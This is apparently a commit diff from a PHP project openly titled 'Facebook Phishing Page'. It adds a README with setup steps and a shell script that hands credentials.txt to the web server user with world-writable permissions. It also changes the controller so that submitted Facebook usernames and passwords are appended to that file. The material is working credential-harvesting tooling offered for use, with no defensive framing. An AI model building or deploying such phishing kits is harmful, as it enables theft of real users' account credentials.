···11# Facebook Phishing Page
22+33+A simple phishing Page using php
44+55+- Full permission to credentials.txt
66+````shell
77+sudo chmod u+x config/allow_credentials.sh
88+./config/allow_credentials.sh
99+``
+11
config/allow_credentials.sh
···11+#!/bin/bash
22+33+sudo echo
44+55+echo "Changing the owner of credentials to server www-data..."
66+sudo chown www-data:www-data credentials.txt
77+88+echo "Changing the permission of credentials to full..."
99+sudo chmod 777 credentials.txt
1010+1111+echo "Full Access to credentials.txt"
+1-1
facebook.php
app/controllers/facebook.php
···77 $password = $_POST['password'];
88 }
991010- $file = fopen('credentials.txt', 'a');
1010+ $file = fopen('../../credentials.txt', 'a');
1111 if ($file) {
1212 // Set the GMT offset to +3
1313 $gmt = 3;